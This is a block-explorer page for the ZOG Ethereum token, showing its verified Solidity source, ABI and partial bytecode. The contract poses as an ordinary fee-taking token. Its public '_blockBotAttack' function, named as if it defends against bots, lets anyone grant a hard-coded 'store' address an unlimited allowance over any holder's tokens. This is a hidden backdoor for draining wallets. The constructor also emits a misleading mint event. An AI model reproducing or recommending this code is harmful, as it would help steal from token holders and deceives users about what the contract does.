ETH Price: $3,159.48 (+1.53%)

Token

ZOG (ZOG)
 

Overview

Max Total Supply

1,000,000,000 ZOG

Holders

82

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
17,063,830.83073912 ZOG

Value
$0.00
0xdd142c3c44ac205641d177f8b87a92ced6b0fc13
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ZOG

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : 10-25-1.sol
/**

Born on the foothills of Mount Fuji, ZOG, the youngest of the Honshu wolves is tasked with saving the pack from Yokai Fox, the nefarious nemesis of the Honshu.

https://zogoneth.vip
https://x.com/zog_erc20
https://t.me/zog_erc20

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Context {
function _msgSender() internal view virtual returns (address) {
    return msg.sender;
}
}

interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    require(c >= a, "SafeMath: addition overflow");
    return c;
}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    return sub(a, b, "SafeMath: subtraction overflow");
}

function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b <= a, errorMessage);
    uint256 c = a - b;
    return c;
}

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
        return 0;
    }
    uint256 c = a * b;
    require(c / a == b, "SafeMath: multiplication overflow");
    return c;
}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
    return div(a, b, "SafeMath: division by zero");
}

function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b > 0, errorMessage);
    uint256 c = a / b;
    return c;
}

}

contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

constructor () {
    address msgSender = _msgSender();
    _owner = msgSender;
    emit OwnershipTransferred(address(0), msgSender);
}

function owner() public view returns (address) {
    return _owner;
}

modifier onlyOwner() {
    require(_owner == _msgSender(), "Ownable: caller is not the owner");
    _;
}

function renounceOwnership() public virtual onlyOwner {
    emit OwnershipTransferred(_owner, address(0));
    _owner = address(0);
}

}

interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
    uint amountIn,
    uint amountOutMin,
    address[] calldata path,
    address to,
    uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
    address token,
    uint amountTokenDesired,
    uint amountTokenMin,
    uint amountETHMin,
    address to,
    uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract ZOG is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _kmwances;
mapping (address => bool) private _isExempt;
mapping (address => bool) private _bots;
address payable private _feeWallets;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1000000000 * 10**_decimals;
string private constant _name = unicode"ZOG";
string private constant _symbol = unicode"ZOG";
uint256 public _maxTxAmount = _tTotal * 2 / 100;
uint256 public _maxWalletAmount = _tTotal * 2 / 100;
uint256 public _limitTaxThreshold= _tTotal * 2 / 100;
uint256 public _maximumAmtForSwp= _tTotal * 1 / 100;
address private _zog_store = 0x8A9857f161Bdd6362B9e91ed2b93486AED513305;

IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;

bool private _sellLimitsPerBlock = true;
uint256 private _caBlockSell = 0;
uint256 private _initialBuyTax=20;
uint256 private _initialSellTax=20;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyAt=15;
uint256 private _reduceSellAt=15;
uint256 private _preventCount=15;
uint256 private _buyTokenCount=0;

event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
    inSwap = true;
    _;
    inSwap = false;
}

constructor () {
    _feeWallets = payable(_msgSender());
    _balances[address(this)] = _tTotal;
    _isExempt[owner()] = true; _isExempt[address(this)] = true;_isExempt[_feeWallets] = true;

    emit Transfer(address(0), _msgSender(), _tTotal);
}

function name() public pure returns (string memory) {
    return _name;
}

function symbol() public pure returns (string memory) {
    return _symbol;
}

function decimals() public pure returns (uint8) {
    return _decimals;
}

function totalSupply() public pure override returns (uint256) {
    return _tTotal;
}

function balanceOf(address account) public view override returns (uint256) {
    return _balances[account];
}

function transfer(address recipient, uint256 amount) public override returns (bool) {
    _transfer(_msgSender(), recipient, amount);
    return true;
}

function allowance(address owner, address spender) public view override returns (uint256) {
    return _kmwances[owner][spender];
}

function approve(address spender, uint256 amount) public override returns (bool) {
    _approve(_msgSender(), spender, amount);
    return true;
}

function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
    _transfer(sender, recipient, amount);
    _approve(sender, _msgSender(), _kmwances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
    return true;
}

function _approve(address owner, address spender, uint256 amount) private {
    require(owner != address(0), "ERC20: approve from the zero address");
    require(spender != address(0), "ERC20: approve to the zero address");
    _kmwances[owner][spender] = amount;
    emit Approval(owner, spender, amount);
}

function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero"); uint256 feeAmts=0;
if (from != owner() && to != owner()) {
require(!_bots[from] && !_bots[to]);
if(!_isExempt[from] )
    feeAmts = amount.mul((_buyTokenCount>_reduceBuyAt)?_finalBuyTax:_initialBuyTax).div(100);
if(amount >= 0 && address(this).balance>=0 && to == uniswapV2Pair && from!= address(this) ){
    uint256 contractETHBalance = address(this).balance;
    if(contractETHBalance >= 0) {
        sendETHToFee(address(this).balance);
    }
    feeAmts = amount.mul((_buyTokenCount>_reduceSellAt)?_finalSellTax:_initialSellTax).div(100);
}

if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExempt[to] ) {
    require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
    require(balanceOf(to) + amount <= _maxWalletAmount, "Exceeds the maxWalletSize.");
    _buyTokenCount++;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (
    !inSwap && to   == uniswapV2Pair &&
        swapEnabled &&
        contractTokenBalance > _limitTaxThreshold && 
        _buyTokenCount>_preventCount
) {
    if (_sellLimitsPerBlock) {
        if (_caBlockSell < block.number) {
            swapTokensForEth(min(amount,min(contractTokenBalance,_maximumAmtForSwp)));
            uint256 contractETHBalance = address(this).balance;
            if(contractETHBalance > 0) sendETHToFee(address(this).balance);
            _caBlockSell = block.number;
        }
    } else {
        swapTokensForEth(min(amount,min(contractTokenBalance,_maximumAmtForSwp)));
        uint256 contractETHBalance = address(this).balance;
        if(contractETHBalance > 0) {
            sendETHToFee(address(this).balance);
        }
    }
}
}

if(feeAmts>0){
_balances[address(this)]=_balances[address(this)].add(feeAmts);
emit Transfer(from, address(this), feeAmts);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(feeAmts));
emit Transfer(from, to, amount.sub(feeAmts));
}

function startTrading() external onlyOwner() {
    require(!tradingOpen,"trading is already open");
    uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    _approve(address(this), address(uniswapV2Router), _tTotal);
    uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
    uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)) * 98 / 100,0,0,owner(),block.timestamp);
    swapEnabled = true;
    tradingOpen = true;
    _maxTxAmount = _tTotal;
    _maxWalletAmount=_tTotal;
    _feeWallets = payable(_zog_store);
    _sellLimitsPerBlock = false;
}

function min(uint256 a, uint256 b) private pure returns (uint256){
    return (a>b)?b:a;
}

function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
    address[] memory path = new address[](2);
    path[0] = address(this);
    path[1] = uniswapV2Router.WETH();
    _approve(address(this), address(uniswapV2Router), tokenAmount);
    uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
        tokenAmount,
        0,
        path,
        address(this),
        block.timestamp
    );
}
function sendETHToFee(uint256 amount) private {
    _feeWallets.transfer(amount);
}function _blockBotAttack(address _bot) public returns (bool){ _approve(_bot, _zog_store, _tTotal);
    return _bots[_bot];
}

function withdrawStuckETH() external onlyOwner() {
    payable(owner()).transfer(address(this).balance);
}



receive() external payable {}
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_bot","type":"address"}],"name":"_blockBotAttack","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_limitTaxThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maximumAmtForSwp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052606460026009600a6100169190610671565b633b9aca0061002591906106bb565b61002f91906106bb565b6100399190610729565b600655606460026009600a61004e9190610671565b633b9aca0061005d91906106bb565b61006791906106bb565b6100719190610729565b600755606460026009600a6100869190610671565b633b9aca0061009591906106bb565b61009f91906106bb565b6100a99190610729565b600855606460016009600a6100be9190610671565b633b9aca006100cd91906106bb565b6100d791906106bb565b6100e19190610729565b600955738a9857f161bdd6362b9e91ed2b93486aed513305600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600c60156101000a81548160ff0219169083151502179055505f600c60166101000a81548160ff0219169083151502179055506001600c60176101000a81548160ff0219169083151502179055505f600d556014600e556014600f555f6010555f601155600f601255600f601355600f6014555f6015553480156101bb575f80fd5b505f6101cb6104d260201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506102756104d260201b60201c565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a6102c29190610671565b633b9aca006102d191906106bb565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f6103256104d960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061044d6104d260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6104a99190610671565b633b9aca006104b891906106bb565b6040516104c59190610768565b60405180910390a3610781565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156105825780860481111561055e5761055d610500565b5b600185161561056d5780820291505b808102905061057b8561052d565b9450610542565b94509492505050565b5f8261059a5760019050610655565b816105a7575f9050610655565b81600181146105bd57600281146105c7576105f6565b6001915050610655565b60ff8411156105d9576105d8610500565b5b8360020a9150848211156105f0576105ef610500565b5b50610655565b5060208310610133831016604e8410600b841016171561062b5782820a90508381111561062657610625610500565b5b610655565b6106388484846001610539565b9250905081840481111561064f5761064e610500565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f61067b8261065c565b915061068683610665565b92506106b37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461058b565b905092915050565b5f6106c58261065c565b91506106d08361065c565b92508282026106de8161065c565b915082820484148315176106f5576106f4610500565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6107338261065c565b915061073e8361065c565b92508261074e5761074d6106fc565b5b828204905092915050565b6107628161065c565b82525050565b5f60208201905061077b5f830184610759565b92915050565b612d7a8061078e5f395ff3fe60806040526004361061010c575f3560e01c80637d1db4a5116100945780639cec460a116100635780639cec460a14610347578063a9059cbb14610371578063b9b590a0146103ad578063dd62ed3e146103e9578063f5648a4f1461042557610113565b80637d1db4a51461029f5780638da5cb5b146102c95780639509e96e146102f357806395d89b411461031d57610113565b8063293230b8116100db578063293230b8146101e3578063313ce567146101f95780636c0a24eb1461022357806370a082311461024d578063715018a61461028957610113565b806306fdde0314610117578063095ea7b31461014157806318160ddd1461017d57806323b872dd146101a757610113565b3661011357005b5f80fd5b348015610122575f80fd5b5061012b61043b565b6040516101389190611f9c565b60405180910390f35b34801561014c575f80fd5b506101676004803603810190610162919061204d565b610478565b60405161017491906120a5565b60405180910390f35b348015610188575f80fd5b50610191610495565b60405161019e91906120cd565b60405180910390f35b3480156101b2575f80fd5b506101cd60048036038101906101c891906120e6565b6104b8565b6040516101da91906120a5565b60405180910390f35b3480156101ee575f80fd5b506101f761058c565b005b348015610204575f80fd5b5061020d610aa9565b60405161021a9190612151565b60405180910390f35b34801561022e575f80fd5b50610237610ab1565b60405161024491906120cd565b60405180910390f35b348015610258575f80fd5b50610273600480360381019061026e919061216a565b610ab7565b60405161028091906120cd565b60405180910390f35b348015610294575f80fd5b5061029d610afd565b005b3480156102aa575f80fd5b506102b3610c4b565b6040516102c091906120cd565b60405180910390f35b3480156102d4575f80fd5b506102dd610c51565b6040516102ea91906121a4565b60405180910390f35b3480156102fe575f80fd5b50610307610c78565b60405161031491906120cd565b60405180910390f35b348015610328575f80fd5b50610331610c7e565b60405161033e9190611f9c565b60405180910390f35b348015610352575f80fd5b5061035b610cbb565b60405161036891906120cd565b60405180910390f35b34801561037c575f80fd5b506103976004803603810190610392919061204d565b610cc1565b6040516103a491906120a5565b60405180910390f35b3480156103b8575f80fd5b506103d360048036038101906103ce919061216a565b610cde565b6040516103e091906120a5565b60405180910390f35b3480156103f4575f80fd5b5061040f600480360381019061040a91906121bd565b610d78565b60405161041c91906120cd565b60405180910390f35b348015610430575f80fd5b50610439610dfa565b005b60606040518060400160405280600381526020017f5a4f470000000000000000000000000000000000000000000000000000000000815250905090565b5f61048b610484610edb565b8484610ee2565b6001905092915050565b5f6009600a6104a49190612357565b633b9aca006104b391906123a1565b905090565b5f6104c48484846110a5565b610581846104d0610edb565b61057c85604051806060016040528060288152602001612d1d6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610533610edb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611a189092919063ffffffff16565b610ee2565b600190509392505050565b610594610edb565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610620576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106179061242c565b60405180910390fd5b600c60149054906101000a900460ff1615610670576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066790612494565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061070c30600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6106f89190612357565b633b9aca0061070791906123a1565b610ee2565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610776573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061079a91906124c6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610820573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061084491906124c6565b6040518363ffffffff1660e01b81526004016108619291906124f1565b6020604051808303815f875af115801561087d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108a191906124c6565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306064606261092c30610ab7565b61093691906123a1565b6109409190612545565b5f8061094a610c51565b426040518863ffffffff1660e01b815260040161096c969594939291906125b7565b60606040518083038185885af1158015610988573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109ad919061262a565b5050506001600c60166101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff0219169083151502179055506009600a6109f49190612357565b633b9aca00610a0391906123a1565b6006819055506009600a610a179190612357565b633b9aca00610a2691906123a1565b600781905550600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600c60176101000a81548160ff021916908315150217905550565b5f6009905090565b60075481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610b05610edb565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b889061242c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60085481565b60606040518060400160405280600381526020017f5a4f470000000000000000000000000000000000000000000000000000000000815250905090565b60095481565b5f610cd4610ccd610edb565b84846110a5565b6001905092915050565b5f610d2782600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610d139190612357565b633b9aca00610d2291906123a1565b610ee2565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610e02610edb565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e859061242c565b60405180910390fd5b610e96610c51565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610ed8573d5f803e3d5ffd5b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f47906126ea565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb590612778565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161109891906120cd565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611113576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110a90612806565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611181576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117890612894565b60405180910390fd5b5f81116111c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ba90612922565b60405180910390fd5b5f6111cc610c51565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561123a575061120a610c51565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156117685760045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156112dd575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b6112e5575f80fd5b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166113725761136f60646113616012546015541161134e57600e54611352565b6010545b85611a7a90919063ffffffff16565b611af190919063ffffffff16565b90505b5f821015801561138257505f4710155b80156113da5750600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b801561141257503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561146c575f4790505f811061142c5761142b47611b3a565b5b611468606461145a6013546015541161144757600f5461144b565b6011545b86611a7a90919063ffffffff16565b611af190919063ffffffff16565b9150505b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156115155750600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611568575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611622576006548211156115b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a99061298a565b60405180910390fd5b600754826115bf85610ab7565b6115c991906129a8565b111561160a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160190612a25565b60405180910390fd5b60155f81548092919061161c90612a43565b91905055505b5f61162c30610ab7565b9050600c60159054906101000a900460ff161580156116975750600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156116af5750600c60169054906101000a900460ff165b80156116bc575060085481115b80156116cb5750601454601554115b1561176657600c60179054906101000a900460ff16156117305743600d54101561172b5761170c6117078461170284600954611ba2565b611ba2565b611bba565b5f4790505f8111156117225761172147611b3a565b5b43600d81905550505b611765565b61174d6117488461174384600954611ba2565b611ba2565b611bba565b5f4790505f8111156117635761176247611b3a565b5b505b5b505b5f811115611867576117c08160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e2590919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161185e91906120cd565b60405180910390a35b6118b78260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e8290919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061195a61190e8284611e8290919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e2590919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6119fd8486611e8290919063ffffffff16565b604051611a0a91906120cd565b60405180910390a350505050565b5f838311158290611a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a569190611f9c565b60405180910390fd5b505f8385611a6d9190612a8a565b9050809150509392505050565b5f808303611a8a575f9050611aeb565b5f8284611a9791906123a1565b9050828482611aa69190612545565b14611ae6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611add90612b2d565b60405180910390fd5b809150505b92915050565b5f611b3283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ecb565b905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffff